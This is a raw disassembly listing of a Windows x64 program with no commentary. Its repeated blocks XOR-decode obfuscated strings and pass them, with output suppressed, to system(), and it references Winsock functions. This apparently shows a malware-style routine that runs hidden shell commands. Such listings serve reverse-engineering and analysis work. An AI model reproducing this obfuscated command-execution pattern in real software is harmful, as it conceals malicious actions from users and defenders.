movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400533a1
cmp r8d, 0x31
jge 0x1400534e4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400534b0
mov r8, rbx
lea rcx, [rbp + 0x3460]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3480]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3480]
call fcn.140077840
lea rcx, [rbp + 0x3460]
call fcn.140077840
lea rcx, [rbp + 0x3440]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x34a0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4259]
xor eax, eax
lea rcx, [rbp + 0x42]
mov byte [rbp + 0x42], al
call fcn.1400706d0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400536c5
mov r8d, r14d
cmp r15d, 2
jl 0x14005368b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053590
cmp r8d, 0x31
jge 0x1400536c5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140053691
mov r8, rbx
lea rcx, [rbp + 0x34c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x34e0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x34e0]
call fcn.140077840
lea rcx, [rbp + 0x34c0]
call fcn.140077840
lea rcx, [rbp + 0x34a0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3500]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x428a]
xor eax, eax
lea rcx, [rbp + 0x43]
mov byte [rbp + 0x43], al
call fcn.140070700
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400538b4
mov r8d, r14d
cmp r15d, 2
jl 0x14005386c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053771
cmp r8d, 0x31
jge 0x1400538b4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140053880
mov r8, rbx
lea rcx, [rbp + 0x3520]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3540]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3540]
call fcn.140077840
lea rcx, [rbp + 0x3520]
call fcn.140077840
lea rcx, [rbp + 0x3500]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3560]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x42bb]
xor eax, eax
lea rcx, [rbp + 0x44]
mov byte [rbp + 0x44], al
call fcn.140070730
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053a95
mov r8d, r14d
cmp r15d, 2
jl 0x140053a5b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053960
cmp r8d, 0x31
jge 0x140053a95
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140053a61
mov r8, rbx
lea rcx, [rbp + 0x3580]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x35a0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x35a0]
call fcn.140077840
lea rcx, [rbp + 0x3580]
call fcn.140077840
lea rcx, [rbp + 0x3560]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x35c0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x42ec]
xor eax, eax
lea rcx, [rbp + 0x45]
mov byte [rbp + 0x45], al
call fcn.140070760
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053c84
mov r8d, r14d
cmp r15d, 2
jl 0x140053c3c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053b41
cmp r8d, 0x31
jge 0x140053c84
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140053c50
mov r8, rbx
lea rcx, [rbp + 0x35e0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3600]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3600]
call fcn.140077840
lea rcx, [rbp + 0x35e0]
call fcn.140077840
lea rcx, [rbp + 0x35c0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3620]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4446]
xor eax, eax
lea rcx, [rbp + 0x46]
mov byte [rbp + 0x46], al
call fcn.140070790
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140053e65
mov r8d, r14d
cmp r15d, 2
jl 0x140053e2b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053d30
cmp r8d, 0x32
jge 0x140053e65
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140053e31
mov r8, rbx
lea rcx, [rbp + 0x3640]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3660]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3660]
call fcn.140077840
lea rcx, [rbp + 0x3640]
call fcn.140077840
lea rcx, [rbp + 0x3620]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3680]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x431d]
xor eax, eax
lea rcx, [rbp + 0x47]
mov byte [rbp + 0x47], al
call fcn.1400707c0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140054054
mov r8d, r14d
cmp r15d, 2
jl 0x14005400c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140053f11
cmp r8d, 0x31
jge 0x140054054
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140054020
mov r8, rbx
lea rcx, [rbp + 0x36a0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x36c0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x36c0]
call fcn.140077840
lea rcx, [rbp + 0x36a0]
call fcn.140077840
lea rcx, [rbp + 0x3680]
call fcn.140077840
xor eax, eax
lea rdx, [rbp + 0x4d24]
lea rcx, [rbp + 0x48]
mov byte [rbp + 0x48], al
call fcn.1400707f0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140054225
mov r8d, r14d
cmp r15d, 2
jl 0x1400541eb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400540f0
cmp r8d, 0x3a
jge 0x140054225
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x1400541f1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x36e0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x434e]
xor eax, eax
lea rcx, [rbp + 0x49]
mov byte [rbp + 0x49], al
call fcn.140070830
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400543b5
mov r8d, r14d
cmp r15d, 2
jl 0x14005437b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140054280
cmp r8d, 0x31
jge 0x1400543b5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140054381
mov r8, rbx
lea rcx, [rbp + 0x3700]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3720]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3720]
call fcn.140077840
lea rcx, [rbp + 0x3700]
call fcn.140077840
lea rcx, [rbp + 0x36e0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3740]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x437f]
xor eax, eax
lea rcx, [rbp + 0x4a]
mov byte [rbp + 0x4a], al
call fcn.140070860
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400545a4
mov r8d, r14d
cmp r15d, 2
jl 0x14005455c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140054461
cmp r8d, 0x31
jge 0x1400545a4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140054570
mov r8, rbx
lea rcx, [rbp + 0x3760]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3780]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3780]
call fcn.140077840
lea rcx, [rbp + 0x3760]
call fcn.140077840
lea rcx, [rbp + 0x3740]
call fcn.140077840
xor eax, eax
lea rdx, [rbp + 0x4d5e]
lea rcx, [rbp + 0x4b]
mov byte [rbp + 0x4b], al
call fcn.140070890
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140054775
mov r8d, r14d
cmp r15d, 2
jl 0x14005473b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140054640
cmp r8d, 0x3a
jge 0x140054775
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140054741
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4d98]
lea rcx, [rbp + 0x4c]
mov byte [rbp + 0x4c], al
call fcn.1400708d0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400548f5
mov r8d, r14d
cmp r15d, 2
jl 0x1400548bb
movdqa xmmword [rbp + 0x10], xmm13
